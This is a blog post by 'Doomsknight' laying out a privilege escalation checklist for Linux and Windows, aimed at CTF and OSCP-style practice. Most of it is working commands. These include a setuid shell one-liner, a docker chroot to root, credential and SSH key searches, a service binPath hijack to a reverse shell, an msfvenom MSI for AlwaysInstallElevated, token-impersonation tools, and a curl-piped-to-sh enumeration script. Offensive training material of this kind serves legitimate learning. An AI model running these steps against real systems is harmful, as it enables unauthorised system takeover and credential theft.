The Privilege Escalation Playbook: Linux & Windows

Published by Doomsknight · KnightSec Reading time: ~15 minutes

Introduction

If you've ever sat staring at a low-priv shell wondering "now what?", this post is for you.

Privilege escalation is the art of turning a foothold into ownership. It's where most CTF players (and honestly, most pentesters) get stuck. The trick isn't memorizing every CVE, it's having a methodical checklist you can run top-down, knowing the cheap, common wins come first and the noisy kernel exploits come dead last.

What follows is the exact mental model I use on every box. Work through it in order. Don't skip steps because you "feel" the answer is somewhere else, discipline beats intuition here.

🐧 Part 1: Linux Privilege Escalation

0. First Thing: Get a Stable Shell

Before anything else, upgrade your shell. A broken reverse shell where Ctrl+C kills your session and tab-completion doesn't work will cost you hours. Fix it now.

python3 -c 'import pty; pty.spawn("/bin/bash")'
# then Ctrl+Z
stty raw -echo; fg
export TERM=xterm

1. System & Kernel Enumeration

uname -a                  # kernel version
cat /etc/os-release       # distro
arch                      # 32 vs 64 bit
hostname

Note the kernel version and check exploit-db or run searchsploit linux kernel <version>. But, and this is important, don't lead with kernel exploits. They're noisy, can crash the box, and reset your progress. Save them for last.

2. User Context (always start here)

id
whoami
groups
sudo -l                   # ★ huge: check NOPASSWD entries
cat /etc/passwd | grep -v nologin
cat /etc/group

If sudo -l shows any binary, your next stop is GTFOBins (https://gtfobins.github.io). That site alone solves a startling percentage of easy/medium boxes.

Watch out for these groups: docker, lxd, disk, adm, video, sudo, wheel, each has a known abuse path.

3. SUID / SGID Binaries

find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null

Cross-reference each non-default binary with GTFOBins. Standard ones (passwd, su, mount, ping) are usually safe. The interesting ones, find, nmap, vim, python, or anything custom, are gold.

4. Linux Capabilities

getcap -r / 2>/dev/null

cap_setuid+ep on python, perl, or ruby is an instant root. Example:

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

5. Cron Jobs

cat /etc/crontab
ls -la /etc/cron.*
crontab -l
cat /var/spool/cron/crontabs/* 2>/dev/null

Look for writable scripts run by root. Two specific patterns to hunt for: PATH manipulation in crontab and wildcard issues (e.g. tar * in a writable dir, a classic).

6. Writable Files & PATH Hijacking

find / -writable -type d 2>/dev/null            # writable dirs
find / -perm -o+w -type f 2>/dev/null           # world-writable files
echo $PATH

If a script run by root calls a binary by name (no full path), and any earlier $PATH entry is writable, drop a malicious binary there. Done.

7. Credentials & Secrets Hunting

cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null
grep -r -i "password" /etc/ 2>/dev/null
grep -r -i "passwd" /var/www/ 2>/dev/null
find / -name "*.conf" -readable 2>/dev/null
find / -name "id_rsa*" 2>/dev/null
find / -name "*.kdbx" 2>/dev/null               # KeePass DBs
cat /etc/fstab                                  # mount creds sometimes here

Always check web roots: /var/www/html, /opt/, /srv/ for DB creds and config files. Files like mysql_history, psql_history, and .viminfo often leak commands with passwords still in them.

8. SSH Keys

ls -la ~/.ssh /home/*/.ssh /root/.ssh 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
find / -name "id_rsa" 2>/dev/null

A world-readable private key is direct lateral or vertical movement.

9. NFS Mounts

cat /etc/exports
showmount -e <target>          # from attacker box

no_root_squash → mount the share as root locally and drop a SUID binary. Easy win when it shows up.

10. Docker / LXD Group

• docker group: docker run -v /:/mnt --rm -it alpine chroot /mnt sh → root.
• lxd group: Import an Alpine image and mount / as a shared device.

11. Sudo Misconfigurations / Version

sudo --version

• Old sudo (< 1.8.28) → CVE-2019-14287 (sudo -u#-1).
• sudo 1.8.2–1.9.5p1 → CVE-2021-3156 (Baron Samedit, heap overflow).
• Env preservation: LD_PRELOAD, LD_LIBRARY_PATH if env_keep is set.

12. Services & Processes

ps auxf
ps -ef | grep root
netstat -tulnp 2>/dev/null
ss -tulnp

Internal services bound to 127.0.0.1 are often the path. Port-forward them and have a look.

13. Automated Enumeration (run ONE then verify manually)

• LinPEAS: curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
• linux-exploit-suggester: ./les.sh
• pspy (passive process snooping, finds cron without read access): ./pspy64

🪟 Part 2: Windows Privilege Escalation

Windows priv-esc has a different rhythm. Where Linux rewards reading config files, Windows rewards reading token privileges and service ACLs. Start there.

1. Baseline Enumeration

whoami /all
whoami /priv
whoami /groups
systeminfo
hostname
net user
net localgroup administrators

2. Token Privileges (★ check first, biggest wins)

Look at whoami /priv for any of these:

If you're a service account (IIS APPPOOL\*, NT SERVICE\*, mssql-svc) → almost always SeImpersonate → PrintSpoofer is the modern go-to.

PrintSpoofer.exe -i -c cmd
GodPotato.exe -cmd "cmd /c whoami"

3. Unquoted Service Paths

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

If the path is C:\Program Files\Some Folder\service.exe (unquoted, with spaces) and any parent dir is writable → drop Program.exe.

4. Service Permissions

accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "Users" *

SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG on a service → modify binPath to your payload, restart.

sc config <service> binPath= "C:\path\to\rev.exe"
sc start <service>

5. AlwaysInstallElevated

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Both = 0x1 → craft an MSI with msfvenom, run msiexec /quiet /qn /i evil.msi → SYSTEM.

6. Stored Credentials

cmdkey /list
runas /savecred /user:ADMIN cmd
dir /a:h /s C:\Users\*.kdbx 2>nul
findstr /si "password" *.xml *.ini *.txt *.config 2>nul

Two unsexy but reliable hunting spots:

• Unattend.xml, sysprep.xml, Autounattend.xml in C:\Windows\Panther\ often contain base64'd admin passwords.
• C:\Windows\System32\config\RegBack\, backup hives sometimes left readable.

7. Registry Autoruns & Writable Keys

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

If a Run entry points to a writable binary → replace it.

8. Scheduled Tasks

schtasks /query /fo LIST /v

Look for tasks running as a higher-priv user with writable script paths.

9. DLL Hijacking

Use Process Monitor (or look at imports) → find a process searching for a missing DLL in a writable location → drop your DLL there.

10. Saved Browser / App Creds

• Firefox: key4.db + logins.json → decrypt with firefox_decrypt.py.
• WinSCP, FileZilla, PuTTY (HKCU\Software\SimonTatham\PuTTY\Sessions) all leak creds.

11. Automated Enumeration

• WinPEAS: winPEASx64.exe
• PowerUp: Import-Module PowerUp.ps1; Invoke-AllChecks
• Seatbelt: Seatbelt.exe -group=all
• Watson: patch-level missing exploits (Win 7/Server 2008 era).

12. Kernel / Patch Exploits (last resort)

systeminfo > sysinfo.txt

Feed to Windows Exploit Suggester (WES-NG) offline. Common hits: Juicy Potato (≤ Server 2016), MS16-032, MS17-010 (yes, sometimes still on HTB easy boxes), PrintNightmare (CVE-2021-34527).

📚 Reference Cheatsheets: Bookmark These

🎯 General Methodology: The Six Rules

1. Get a stable shell first. Don't enumerate from a broken reverse shell.
2. Manual enumeration before automated. sudo -l, id, whoami /priv, these alone solve 60% of easy/medium boxes.
3. One automated tool, then verify. Run LinPEAS/WinPEAS, but read the output, don't blindly trust the red highlights.
4. Pivot through internal services. A service bound to 127.0.0.1 that you can hit is often the answer.
5. Document credentials as you find them. A user password often gets reused for sudo, su, SSH, or admin services.
6. If stuck for >30 min: re-enumerate as the new user. Every shell context is a new enumeration cycle.

Closing Thoughts

Privilege escalation is less about being clever and more about being thorough. The boxes that crush you aren't the ones with obscure exploits, they're the ones where you skipped step 2 because you assumed it'd be empty.

Run the checklist. Trust the process. The root flag will follow.

If this helped, share it with someone who's grinding through their first OSCP-style box. And if you spot a technique I've missed, drop me a note. This list grows every time I learn something new.

- Doomsknight

Have feedback or want to discuss a technique? Reach out via WhatsApp, +1 (347) 260-3596.